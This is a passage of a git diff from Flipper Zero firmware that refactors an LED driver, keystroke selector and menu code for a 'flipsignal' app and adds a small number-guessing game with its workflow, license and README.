KeystrokeSelector; typedef struct KeystrokeSelectorKey KeystrokeSelectorKey; +/** + * @brief We expose our internals here, so an app_keyboard_layout.h file can be created. +*/ struct KeystrokeSelectorKey { // The code that should be sent to the host. uint16_t code; - // The character that should be displayed on the key. + // The character that should be displayed on the key (set icon to NULL). char ch; // The icon that should be displayed on the key (set ch to 0). diff --git a/applications/external/flipsignal/common/keystroke_selector_i.h b/applications/external/flipsignal/common/keystroke_selector_i.h index 9e23e7fb70d..521f91fec5b 100644 --- a/applications/external/flipsignal/common/keystroke_selector_i.h +++ b/applications/external/flipsignal/common/keystroke_selector_i.h @@ -5,59 +5,29 @@ #include #include -#include "button_model.h" +#include "action_model.h" #include "keystroke_selector.h" +#define KEYSTROKE_SELECTOR_DEFAULT_TOP_ROW 2 +#define KEYSTROKE_SELECTOR_DISPLAYED_ROWS 5 +#define KEYSTROKE_SELECTOR_DISPLAYED_WIDTH 10 +#define KEYSTROKE_SELECTOR_DISPLAYED_HEIGHT 13 +#define KEYSTROKE_SELECTOR_GLYPH_HEIGHT_OFFSET 10 +#define KEYSTROKE_SELECTOR_IMAGE_HEIGHT_OFFSET 1 +#define KEYSTROKE_SELECTOR_COLS 12 + struct KeystrokeSelector { View* view_keystroke_selector; - ButtonModel* bm; + ActionModel* action_model; }; -typedef struct KeystrokeSelectorModel { - // The total number of rows. - uint8_t rows; - - // The total number of columns. - uint8_t cols; - - // An array of all the keys. - KeystrokeSelectorKey* keys; - - // The current row to show at the top of the view. - uint8_t top_row; - - // The current column where the cursor is. - uint8_t current_col; - - // The current row where the cursor is. - uint8_t current_row; - - // Any modifiers that should be sent with the keystroke (CTRL, SHIFT, etc.) - uint16_t modifiers; - - // The callback to call when a key is selected. - KeystrokeSelectorCallback callback; - - // The context to pass to the callback. - void* callback_context; -} KeystrokeSelectorModel; - -typedef struct KeystrokeSelectorKeyResult { - // The code that should be sent to the host. - uint16_t code; - - // The character that should be displayed on the key. - char ch; +typedef struct KeystrokeSelectorModel KeystrokeSelectorModel; - // The icon that should be displayed on the key (set ch to 0). - const Icon* icon; +typedef struct KeystrokeSelectorKeyResult KeystrokeSelectorKeyResult; - // The starting column of the key. - uint8_t col; +static KeystrokeSelectorKeyResult + keystroke_selector_model_find_key(KeystrokeSelectorModel* model, uint16_t key_code); - // The row of the key. - uint8_t row; +static void keystroke_selector_draw_callback(Canvas* canvas, void* context); - // The width of the key. - uint8_t width; -} KeystrokeSelectorKeyResult; +static bool keystroke_selector_input_callback(InputEvent* event, void* context); diff --git a/applications/external/flipsignal/common/led_driver.c b/applications/external/flipsignal/common/led_driver.c index 37f1e436ade..4716599d03c 100644 --- a/applications/external/flipsignal/common/led_driver.c +++ b/applications/external/flipsignal/common/led_driver.c @@ -1,23 +1,4 @@ -#include - -#include "led_driver.h" - -#define MAX_LED_COUNT 4 -// We store the HIGH/LOW durations (2 values) for each color bit (24 bits per LED) -#define LED_DRIVER_BUFFER_SIZE (MAX_LED_COUNT * 2 * 24) -// We use a setinel value to figure out when the timer is complete. -#define LED_DRIVER_TIMER_SETINEL 0xFFU - -/** 64 transitions per us @ 64MHz. Our timing is in NANO_SECONDS */ -#define LED_DRIVER_TIMER_NANOSECOND (1000U / (SystemCoreClock / 1000000U)) -// Timings for WS2812B -#define LED_DRIVER_T0H 400U -#define LED_DRIVER_T1H 800U -#define LED_DRIVER_T0L 850U -#define LED_DRIVER_T1L 450U - -// Wait for 35ms for the DMA to complete. NOTE: 1000 leds*(850ns+450ns)*24 = 32ms -#define LED_DRIVER_SETINEL_WAIT_MS 35 +#include "led_driver_i.h" struct LedDriver { LL_DMA_InitTypeDef dma_gpio_update; @@ -34,6 +15,11 @@ struct LedDriver { uint32_t* led_data; }; +/** + * @brief Initializes the DMA for GPIO pin toggle via BSRR. + * @param led_driver The led driver to initialize. + * @param gpio The GPIO pin to toggle. + */ static void led_driver_init_dma_gpio_update(LedDriver* led_driver, const GpioPin* gpio) { led_driver->gpio = gpio; @@ -55,6 +41,10 @@ static void led_driver_init_dma_gpio_update(LedDriver* led_driver, const GpioPin led_driver->dma_gpio_update.Priority = LL_DMA_PRIORITY_VERYHIGH; } +/** + * @brief Initializes the DMA for the LED timings via ARR. + * @param led_driver The led driver to initialize. + */ static void led_driver_init_dma_led_transition_timer(LedDriver* led_driver) { // Timer that triggers based on user data. led_driver->dma_led_transition_timer.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; @@ -75,6 +65,11 @@ static void led_driver_init_dma_led_transition_timer(LedDriver* led_driver) { led_driver->dma_led_transition_timer.Priority = LL_DMA_PRIORITY_HIGH; } +/** + * @brief Allocate and initialize LedDriver structure. + * @details This function allocate and initialize LedDriver structure. + * @return Pointer to allocated LedDriver structure. + */ LedDriver* led_driver_alloc(int count_leds, const GpioPin* gpio) { furi_assert(gpio); furi_assert(count_leds && count_leds <= MAX_LED_COUNT); @@ -89,6 +84,11 @@ LedDriver* led_driver_alloc(int count_leds, const GpioPin* gpio) { return led_driver; } +/** + * @brief Frees a led driver. + * @details Frees a led driver. + * @param led_driver The led driver to free. + */ void led_driver_free(LedDriver* led_driver) { furi_assert(led_driver); @@ -96,6 +96,14 @@ void led_driver_free(LedDriver* led_driver) { free(led_driver); } +/** + * @brief Sets the LED at the given index to the given color. + * @note You must still call led_driver_transmit to actually update the LEDs. + * @param led_driver The led driver to use. + * @param index The index of the LED to set. + * @param rrggbb The color to set the LED to (0xrrggbb format). + * @return The previous color of the LED (0xrrggbb format). + */ uint32_t led_driver_set_led(LedDriver* led_driver, uint32_t index, uint32_t rrggbb) { furi_assert(led_driver); if(index >= led_driver->count_leds) { @@ -107,6 +115,12 @@ uint32_t led_driver_set_led(LedDriver* led_driver, uint32_t index, uint32_t rrgg return previous; } +/** + * @brief Gets the LED at the given index. + * @param led_driver The led driver to use. + * @param index The index of the LED to get. + * @return The color of the LED (0xrrggbb format). + */ uint32_t led_driver_get_led(LedDriver* led_driver, uint32_t index) { furi_assert(led_driver); if(index >= led_driver->count_leds) { @@ -116,6 +130,10 @@ uint32_t led_driver_get_led(LedDriver* led_driver, uint32_t index) { return led_driver->led_data[index]; } +/** + * @brief Initializes the DMA for GPIO pin toggle and led transititions. + * @param led_driver The led driver to initialize. + */ static void led_driver_start_dma(LedDriver* led_driver) { furi_assert(led_driver); @@ -126,6 +144,21 @@ static void led_driver_start_dma(LedDriver* led_driver) { LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_2); } +/** + * @brief Stops the DMA for GPIO pin toggle and led transititions. + * @param led_driver The led driver to initialize. + */ +static void led_driver_stop_dma() { + LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_1); + LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_2); + LL_DMA_ClearFlag_TC1(DMA1); + LL_DMA_ClearFlag_TC2(DMA1); +} + +/** + * @brief Starts the timer for led transitions. + * @param led_driver The led driver to initialize. + */ static void led_driver_start_timer() { furi_hal_bus_enable(FuriHalBusTIM2); @@ -142,6 +175,10 @@ static void led_driver_start_timer() { LL_TIM_GenerateEvent_UPDATE(TIM2); } +/** + * @brief Stops the timer for led transitions. + * @param led_driver The led driver to initialize. + */ static void led_driver_stop_timer() { LL_TIM_DisableCounter(TIM2); LL_TIM_DisableUpdateEvent(TIM2); @@ -149,13 +186,10 @@ static void led_driver_stop_timer() { furi_hal_bus_disable(FuriHalBusTIM2); } -static void led_driver_stop_dma() { - LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_1); - LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_2); - LL_DMA_ClearFlag_TC1(DMA1); - LL_DMA_ClearFlag_TC2(DMA1); -} - +/** + * @brief Waits for the DMA to complete. + * @param led_driver The led driver to use. + */ static void led_driver_spin_lock(LedDriver* led_driver) { const uint32_t prev_timer = DWT->CYCCNT; const uint32_t wait_time = LED_DRIVER_SETINEL_WAIT_MS * SystemCoreClock / 1000; @@ -166,10 +200,14 @@ static void led_driver_spin_lock(LedDriver* led_driver) { break; } - // 0xFF is fairly quick, make sure we didn't miss it. + // We should have seen it above, but just in case we also have a timeout. if((DWT->CYCCNT - prev_timer > wait_time)) { - FURI_LOG_D( - "Demo", "0xFF not found (ARR 0x%08lx, read %lu)", TIM2->ARR, led_driver->read_pos); + FURI_LOG_E( + TAG, + "0x%02x not found (ARR 0x%08lx, read %lu)", + LED_DRIVER_TIMER_SETINEL, + TIM2->ARR, + led_driver->read_pos); led_driver->read_pos = led_driver->write_pos - 1; break; } @@ -187,7 +225,7 @@ static void led_driver_add_period(LedDriver* led_driver, uint16_t duration_ns) { uint32_t reload_value = duration_ns / LED_DRIVER_TIMER_NANOSECOND; if(reload_value > 255) { - FURI_LOG_E("Demo", "reload_value: %ld", reload_value); + FURI_LOG_E(TAG, "reload_value: %ld", reload_value); } furi_check(reload_value > 0); furi_check(reload_value < 256); @@ -211,6 +249,10 @@ static void led_driver_add_color(LedDriver* led_driver, uint32_t rrggbb) { } } +/** + * @brief Send the LED data to the LEDs. + * @param led_driver The led driver to use. + */ void led_driver_transmit(LedDriver* led_driver) { furi_assert(led_driver); @@ -251,58 +293,3 @@ void led_driver_transmit(LedDriver* led_driver) { led_driver->read_pos = 0; led_driver->write_pos = 0; } - -/* -int32_t main_led_test(void* _p) { - UNUSED(_p); - - uint16_t num_leds = MAX_LED_COUNT; - LedDriver* led_driver = led_driver_alloc(num_leds, &gpio_ext_pc3); - - uint32_t* data[80]; - for(int i = 0; i < 80; i++) { - data[i] = malloc(16 * 16 * sizeof(uint32_t)); - } - - for(int j = 0; j < num_leds; j++) { - uint8_t red = rand() % 2; - uint8_t green = rand() % 4; - uint8_t blue = rand() % 4; - data[0][j] = red << 16 | green << 8 | blue; - } - data[0][0] = 0x000F00; - - for(int i = 1; i < 80; i++) { - for(int j = 1; j < num_leds; j++) { - uint8_t red = rand() % 2; - uint8_t green = rand() % 4; - uint8_t blue = rand() % 4; - data[i][j] = red << 16 | green << 8 | blue; - data[i][j] = data[i - 1][j - 1]; - } - data[i][0] = data[i - 1][num_leds - 1]; - // for(int j = 0; j < num_leds; j++) { - // if(data[i - 1][j] == 0x000F00) { - // data[i][j] = 0x000F00; - // } - // } - data[i][rand() % num_leds] = 0x000F00; - } - - int counter = 0; - while(true) { - uint32_t i = counter++ % 80; - for(int j = 0; j < num_leds; j++) { - led_driver_set_led(led_driver, j, data[i][j]); - } - led_driver_transmit(led_driver); - furi_delay_ms(20); - } - - for(int i = 0; i < 80; i++) { - free(data[i]); - } - - return 0; -} -*/ \ No newline at end of file diff --git a/applications/external/flipsignal/common/led_driver.h b/applications/external/flipsignal/common/led_driver.h index a2c1a768b53..40052162170 100644 --- a/applications/external/flipsignal/common/led_driver.h +++ b/applications/external/flipsignal/common/led_driver.h @@ -3,8 +3,40 @@ typedef struct LedDriver LedDriver; +/** + * @brief Allocate and initialize LedDriver structure. + * @details This function allocate and initialize LedDriver structure. + * @return Pointer to allocated LedDriver structure. + */ LedDriver* led_driver_alloc(int count_leds, const GpioPin* gpio); + +/** + * @brief Frees a led driver. + * @details Frees a led driver. + * @param led_driver The led driver to free. + */ void led_driver_free(LedDriver* led_driver); + +/** + * @brief Sets the LED at the given index to the given color. + * @note You must still call led_driver_transmit to actually update the LEDs. + * @param led_driver The led driver to use. + * @param index The index of the LED to set. + * @param rrggbb The color to set the LED to. + * @return The previous color of the LED. + */ uint32_t led_driver_set_led(LedDriver* led_driver, uint32_t index, uint32_t rrggbb); + +/** + * @brief Gets the LED at the given index. + * @param led_driver The led driver to use. + * @param index The index of the LED to get. + * @return The color of the LED (0xrrggbb format). + */ uint32_t led_driver_get_led(LedDriver* led_driver, uint32_t index); + +/** + * @brief Send the LED data to the LEDs. + * @param led_driver The led driver to use. + */ void led_driver_transmit(LedDriver* led_driver); diff --git a/applications/external/flipsignal/common/led_driver_i.h b/applications/external/flipsignal/common/led_driver_i.h new file mode 100644 index 00000000000..4566ac2cb3d --- /dev/null +++ b/applications/external/flipsignal/common/led_driver_i.h @@ -0,0 +1,26 @@ +#pragma once + +#include + +#include "led_driver.h" +#include "../app_config.h" + +#define MAX_LED_COUNT 4 + +// We store the HIGH/LOW durations (2 values) for each color bit (24 bits per LED) +#define LED_DRIVER_BUFFER_SIZE (MAX_LED_COUNT * 2 * 24) + +// We use a setinel value to figure out when the timer is complete. +#define LED_DRIVER_TIMER_SETINEL 0xFFU + +/** 64 transitions per us @ 64MHz. Our timing is in NANO_SECONDS */ +#define LED_DRIVER_TIMER_NANOSECOND (1000U / (SystemCoreClock / 1000000U)) + +// Timings for WS2812B +#define LED_DRIVER_T0H 400U +#define LED_DRIVER_T1H 800U +#define LED_DRIVER_T0L 850U +#define LED_DRIVER_T1L 450U + +// Max wait for the DMA to complete. NOTE: 4000 leds*(850ns+450ns)*24 = 124.8ms + 50ms blanking = 174.8ms +#define LED_DRIVER_SETINEL_WAIT_MS 200 \ No newline at end of file diff --git a/applications/external/flipsignal/common/leds.c b/applications/external/flipsignal/common/leds.c index 84a73fbc414..234ca3e788d 100644 --- a/applications/external/flipsignal/common/leds.c +++ b/applications/external/flipsignal/common/leds.c @@ -1,15 +1,5 @@ #include "leds_i.h" -#include "../app_config.h" - -// Bit-banging the WS2812b LEDs is a bit tricky. The timing is very strict. -// Hopefully, we will update to a better solution in the future. -#define DWT_CYCCNT (0xE0001004UL) -typedef struct { - volatile uint32_t COUNT; /*!< E0001000 + Offset: 0x004 (R/W) Cycle Count Register */ -} DWT_Internal; -#define DWT_ACCESS ((DWT_Internal*)DWT_CYCCNT) - /** * @brief Allocates a FlipboardLeds struct. * @details This method allocates a FlipboardLeds struct. This is used to @@ -19,15 +9,19 @@ typedef struct { */ FlipboardLeds* flipboard_leds_alloc(Resources* resources) { FlipboardLeds* leds = malloc(sizeof(FlipboardLeds)); + #ifdef USE_LED_DRIVER - FURI_LOG_D(TAG, "Using LED driver"); leds->resources = resources; leds->led_driver = led_driver_alloc(LED_COUNT, pin_ws2812_leds); #else - FURI_LOG_D(TAG, "Using Bit-bang LEDs"); + // If our bit-bang code is interrupted, the LED colors could become 0xFFFFFF and drain too much current? + FURI_LOG_E(TAG, "WARNING: Using Bit-bang LEDs. Colors may be wrong. Only use for a few LEDs!"); + furi_assert( + LED_COUNT < 16, "Bit-bang LEDs only supports up to 16 LEDs for MAX CURRENT safety."); furi_hal_gpio_init_simple(pin_ws2812_leds, GpioModeOutputPushPull); leds->led_driver = NULL; #endif + furi_hal_gpio_init_simple(pin_status_led, GpioModeOutputPushPull); flipboard_leds_reset(leds); return leds; diff --git a/applications/external/flipsignal/common/leds.h b/applications/external/flipsignal/common/leds.h index 12f3554c1e3..8ba0290b453 100644 --- a/applications/external/flipsignal/common/leds.h +++ b/applications/external/flipsignal/common/leds.h @@ -1,5 +1,3 @@ -#pragma once - /** * @file leds.h * @brief This file contains methods to control the LEDs on the flipboard. @@ -7,7 +5,10 @@ * and also the status LED. */ +#pragma once + #include + #include "resources.h" typedef struct FlipboardLeds FlipboardLeds; diff --git a/applications/external/flipsignal/common/leds_i.h b/applications/external/flipsignal/common/leds_i.h index a27af0d0bd7..803f41db8e8 100644 --- a/applications/external/flipsignal/common/leds_i.h +++ b/applications/external/flipsignal/common/leds_i.h @@ -1,21 +1,32 @@ #pragma once #include -#include -#include -#include #include "leds.h" #include "led_driver.h" -// The WS2812b LEDs that are connected to PC3. +#include "../app_config.h" + +// The number of WS2812b LEDs connected to the FlipBoard. #define LED_COUNT 4 + +// The pin that is connected to the WS2812 LEDs. +const GpioPin* const pin_ws2812_leds = &gpio_ext_pc3; + +// The status LED that is connected to PA7. +const GpioPin* const pin_status_led = &gpio_ext_pa7; + struct FlipboardLeds { Resources* resources; uint32_t color[LED_COUNT]; LedDriver* led_driver; }; -const GpioPin* const pin_ws2812_leds = &gpio_ext_pc3; -// The status LED that is connected to PA7. -const GpioPin* const pin_status_led = &gpio_ext_pa7; +// Bit-banging the WS2812b LEDs isn't great. If we could get interrupted signal will be wrong (wrong LED colors). +typedef struct { + volatile uint32_t COUNT; +} DWT_Internal; + +// Cycle Count Register is at DWT Base Address (E0001000) + 0x004 (R/W) +#define DWT_CYCCNT (0xE0001004UL) +#define DWT_ACCESS ((DWT_Internal*)DWT_CYCCNT) diff --git a/applications/external/flipsignal/common/menu_callback.c b/applications/external/flipsignal/common/menu_callback.c index 846823860e0..dc87047e90d 100644 --- a/applications/external/flipsignal/common/menu_callback.c +++ b/applications/external/flipsignal/common/menu_callback.c @@ -1,69 +1,160 @@ #include "menu_callback.h" -static uint32_t menu_0(void* context) { - UNUSED(context); +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 0. +*/ +static uint32_t menu_0(void* _context) { + UNUSED(_context); return (uint32_t)0; } -static uint32_t menu_1(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 1. +*/ +static uint32_t menu_1(void* _context) { + UNUSED(_context); return (uint32_t)1; } -static uint32_t menu_2(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 2. +*/ +static uint32_t menu_2(void* _context) { + UNUSED(_context); return (uint32_t)2; } -static uint32_t menu_3(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 3. +*/ +static uint32_t menu_3(void* _context) { + UNUSED(_context); return (uint32_t)3; } -static uint32_t menu_4(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 4. +*/ +static uint32_t menu_4(void* _context) { + UNUSED(_context); return (uint32_t)4; } -static uint32_t menu_5(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 5. +*/ +static uint32_t menu_5(void* _context) { + UNUSED(_context); return (uint32_t)5; } -static uint32_t menu_6(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 6. +*/ +static uint32_t menu_6(void* _context) { + UNUSED(_context); return (uint32_t)6; } -static uint32_t menu_7(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 7. +*/ +static uint32_t menu_7(void* _context) { + UNUSED(_context); return (uint32_t)7; } -static uint32_t menu_8(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 8. +*/ +static uint32_t menu_8(void* _context) { + UNUSED(_context); return (uint32_t)8; } -static uint32_t menu_9(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 9. +*/ +static uint32_t menu_9(void* _context) { + UNUSED(_context); return (uint32_t)9; } -static uint32_t menu_10(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 10. +*/ +static uint32_t menu_10(void* _context) { + UNUSED(_context); return (uint32_t)10; } -static uint32_t menu_11(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 11. +*/ +static uint32_t menu_11(void* _context) { + UNUSED(_context); return (uint32_t)11; } -static uint32_t menu_12(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 12. +*/ +static uint32_t menu_12(void* _context) { + UNUSED(_context); return (uint32_t)12; } -static uint32_t menu_13(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 13. +*/ +static uint32_t menu_13(void* _context) { + UNUSED(_context); return (uint32_t)13; } -static uint32_t menu_14(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 14. +*/ +static uint32_t menu_14(void* _context) { + UNUSED(_context); return (uint32_t)14; } /** * @brief Callback for menu navigation - * @param return_index The value the callback should return. + * @note if return_index is out of range, it will return a callback that + * returns 0. + * @param return_index The value the callback should return (1-14). * @return The callback to be used for menu navigation. */ ViewNavigationCallback get_menu_callback(uint32_t return_index) { @@ -98,6 +189,7 @@ ViewNavigationCallback get_menu_callback(uint32_t return_index) { return menu_14; default: FURI_LOG_E("Flipboard", "Invalid menu index %ld", return_index); + furi_assert(return_index < 15); return menu_0; } } \ No newline at end of file diff --git a/applications/external/flipsignal/common/menu_callback.h b/applications/external/flipsignal/common/menu_callback.h index 95c537d3fb0..b35c954a093 100644 --- a/applications/external/flipsignal/common/menu_callback.h +++ b/applications/external/flipsignal/common/menu_callback.h @@ -1,21 +1,21 @@ -#pragma once - /** * @file menu_callback.h * @brief This file contains a method to get a ViewNavigationCallback * that returns a specific view id. * @details The menu callback module is used to return a specific view id - * from ViewNavigationCallback. The id is matched by a large switch so it - * can only handle a limited number of values (if to large of id is requested, - * the 0 view will be returned). + * from ViewNavigationCallback. */ +#pragma once + #include #include /** * @brief Callback for menu navigation - * @param return_index The value the callback should return. + * @note if return_index is out of range, it will return a callback that + * returns 0. + * @param return_index The value the callback should return (1-14). * @return The callback to be used for menu navigation. */ ViewNavigationCallback get_menu_callback(uint32_t return_index); \ No newline at end of file diff --git a/applications/external/flipsignal/common/resources.c b/applications/external/flipsignal/common/resources.c index e1e44ce5ece..f5dd16794d1 100644 --- a/applications/external/flipsignal/common/resources.c +++ b/applications/external/flipsignal/common/resources.c @@ -1,5 +1,4 @@ -#include -#include "resources.h" +#include "resources_i.h" struct Resources { FuriMutex* ll_tim1; @@ -20,12 +19,16 @@ Resources* resources_alloc() { * @details This method acquires a resource. If the resource is already acquired, * this method will block until the resource is released. * @param resources The resources struct to use for hardware access. + * @param id The resource to acquire. + * @param timeout The timeout in milliseconds to wait for the resource to be released. + * @return True if the resource was acquired, false if there was an error. */ bool resources_acquire(Resources* resources, ResourceId id, uint32_t timeout) { UNUSED(id); if(!resources) { return false; } + return furi_mutex_acquire(resources->ll_tim1, timeout) == FuriStatusOk; } @@ -33,12 +36,15 @@ bool resources_acquire(Resources* resources, ResourceId id, uint32_t timeout) { * @brief Releases a resource. * @details This method releases a resource. * @param resources The resources struct to use for hardware access. + * @param id The resource to release. + * @return True if the resource was released, false if there was an error. */ bool resources_release(Resources* resources, ResourceId id) { UNUSED(id); if(!resources) { return false; } + return furi_mutex_release(resources->ll_tim1) == FuriStatusOk; } diff --git a/applications/external/flipsignal/common/resources.h b/applications/external/flipsignal/common/resources.h index ab67c2395f4..3f1f097a123 100644 --- a/applications/external/flipsignal/common/resources.h +++ b/applications/external/flipsignal/common/resources.h @@ -1,3 +1,9 @@ +/** + * @file resources.h + * @brief Resources are used to request access to hardware components. If another code is + * using the hardware, the calls will wait for the resource to become free. +*/ + #pragma once #include @@ -20,7 +26,10 @@ Resources* resources_alloc(); * @brief Acquires a resource. * @details This method acquires a resource. If the resource is already acquired, * this method will block until the resource is released. + * @param id The resource to acquire. + * @param timeout The timeout in milliseconds to wait for the resource to be released. * @param resources The resources struct to use for hardware access. + * @return True if the resource was acquired, false if there was an error. */ bool resources_acquire(Resources* resources, ResourceId id, uint32_t timeout); @@ -28,6 +37,8 @@ bool resources_acquire(Resources* resources, ResourceId id, uint32_t timeout); * @brief Releases a resource. * @details This method releases a resource. * @param resources The resources struct to use for hardware access. + * @param id The resource to release. + * @return True if the resource was released, false if there was an error. */ bool resources_release(Resources* resources, ResourceId id); diff --git a/applications/external/flipsignal/common/resources_i.h b/applications/external/flipsignal/common/resources_i.h new file mode 100644 index 00000000000..2d280e31a72 --- /dev/null +++ b/applications/external/flipsignal/common/resources_i.h @@ -0,0 +1,5 @@ +#pragma once + +#include + +#include "resources.h" \ No newline at end of file diff --git a/applications/external/flipsignal/common/speaker.c b/applications/external/flipsignal/common/speaker.c index 3e33bbf6234..871dd0dabbc 100644 --- a/applications/external/flipsignal/common/speaker.c +++ b/applications/external/flipsignal/common/speaker.c @@ -1,6 +1,18 @@ #include "speaker_i.h" -static int32_t speaker_worker(void* context); +struct Speaker { + // The thread that runs the speaker worker + FuriThread* thread; + + // True is the thread is running + bool is_running; + + // Frequency of the tone to play (in Hz) + float frequency; + + // Volume of the tone to play (0.0 - 1.0) + float volume; +}; /** * @brief Allocates a new speaker. diff --git a/applications/external/flipsignal/common/speaker_i.h b/applications/external/flipsignal/common/speaker_i.h index 198c761776b..aaf3ae2b990 100644 --- a/applications/external/flipsignal/common/speaker_i.h +++ b/applications/external/flipsignal/common/speaker_i.h @@ -1,19 +1,8 @@ #pragma once -#include "speaker.h" #include #include -struct Speaker { - // The thread that runs the speaker worker - FuriThread* thread; - - // True is the thread is running - bool is_running; - - // Frequency of the tone to play (in Hz) - float frequency; +#include "speaker.h" - // Volume of the tone to play (0.0 - 1.0) - float volume; -}; \ No newline at end of file +static int32_t speaker_worker(void* context); diff --git a/applications/external/flipsignal/common/subghz_signal.h b/applications/external/flipsignal/common/subghz_signal.h index 46166b992e2..0c3de045e7f 100644 --- a/applications/external/flipsignal/common/subghz_signal.h +++ b/applications/external/flipsignal/common/subghz_signal.h @@ -1,6 +1,17 @@ +/** + * @file subghz_signal.h + * @brief This file contains the subghz_signal module. + * @details This file contains the subghz_signal module. The subghz_signal module is + * responsible for sending SubGhz signals (both RAW and Protocol .SUB files). + * + * If your build environment supports #include then please add: + * #define FIRMWARE_SUPPORTS_SUBGHZ 1 +*/ + #pragma once #include + #include "resources.h" typedef struct SubGhzSignal SubGhzSignal; diff --git a/applications/external/gps_nmea_uart/ui.png b/applications/external/gps_nmea_uart/ui.png index 8e521457490..5b518b0f6d5 100644 Binary files a/applications/external/gps_nmea_uart/ui.png and b/applications/external/gps_nmea_uart/ui.png differ diff --git a/applications/external/gps_nmea_uart/wiring.png b/applications/external/gps_nmea_uart/wiring.png index 74b4a4401db..b94d2abfdb5 100644 Binary files a/applications/external/gps_nmea_uart/wiring.png and b/applications/external/gps_nmea_uart/wiring.png differ diff --git a/applications/external/guess_the_number/.github/workflows/build.yml b/applications/external/guess_the_number/.github/workflows/build.yml new file mode 100644 index 00000000000..7845cb1e570 --- /dev/null +++ b/applications/external/guess_the_number/.github/workflows/build.yml @@ -0,0 +1,20 @@ +name: "FAP: Build (XFW-DEV)" +on: [push, pull_request] +jobs: + ufbt-build-action: + runs-on: ubuntu-latest + name: "ufbt: Build for Dev branch (XFW-DEV)" + steps: + - name: Checkout + uses: actions/checkout@v4 + - name: Build with ufbt (XFW-DEV) + uses: flipperdevices/flipperzero-ufbt-action@v0.1 + id: build-app + with: + sdk-url: https://cloud.cynthialabs.net/s/sGHsQB94a9x5CRs/download?path=/&files=XFW-DEV_@036E09F-sdk.zip + sdk-hw-target: f7 + - name: Upload app artifacts + uses: actions/upload-artifact@v3 + with: + name: ${{ github.event.repository.name }}-${{ steps.build-app.outputs.suffix }} + path: ${{ steps.build-app.outputs.fap-artifacts }} diff --git a/applications/external/guess_the_number/.gitignore b/applications/external/guess_the_number/.gitignore new file mode 100644 index 00000000000..e2a15a10a84 --- /dev/null +++ b/applications/external/guess_the_number/.gitignore @@ -0,0 +1,4 @@ +dist/* +.vscode +.clang-format +.editorconfig \ No newline at end of file diff --git a/applications/external/guess_the_number/LICENSE b/applications/external/guess_the_number/LICENSE new file mode 100644 index 00000000000..51b5fea9718 --- /dev/null +++ b/applications/external/guess_the_number/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 kWAY + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/applications/external/guess_the_number/README.md b/applications/external/guess_the_number/README.md new file mode 100644 index 00000000000..166d54fdbe5 --- /dev/null +++ b/applications/external/guess_the_number/README.md @@ -0,0 +1,36 @@ +# Guess the Number Game for Flipper Zero + +## Overview +"Guess the Number" is a simple yet engaging game designed for the Flipper Zero device. This game challenges players to guess a randomly generated number within a specified range. + +## Preview +[Click me to see a brief video](https://streamable.com/rjfvdi) + +## Boilerplate +[This app was created using leedave's boilerplate](https://github.com/leedave/flipper-zero-fap-boilerplate) + +## Features +- Random number generation using Flipper Zero's hardware capabilities. +- Intuitive interface with up/down keys for guessing and back key to restart the game. +- Immediate feedback on guesses – whether they're too high, too low, or correct. +- Use of Flipper Zero's LED, vibration and speaker to enhance the game experience. + +## Installation +1. Clone this repository to your local machine. +2. Use [uFBT](https://github.com/flipperdevices/flipperzero-ufbt) to compile the application. +3. Transfer the compiled `.fap` file to your Flipper Zero or launch it with `ufbt launch`. +4. Start playing! + +## How to Play +- Use the up/down buttons to increase or decrease your guess. +- Press OK to submit your guess. +- If your guess is incorrect, adjust it based on the feedback and try again. +- Press the back button at any time to restart the game. + +## Contributing +Contributions to enhance the game or fix bugs are welcome. Please feel free to fork this repository, make changes, and create a pull request. + +## License +This project is licensed under MIT License. Please click [here](LICENSE) for more details. + +Enjoy the game on your Flipper Zero! diff --git a/applications/external/guess_the_number/application.fam 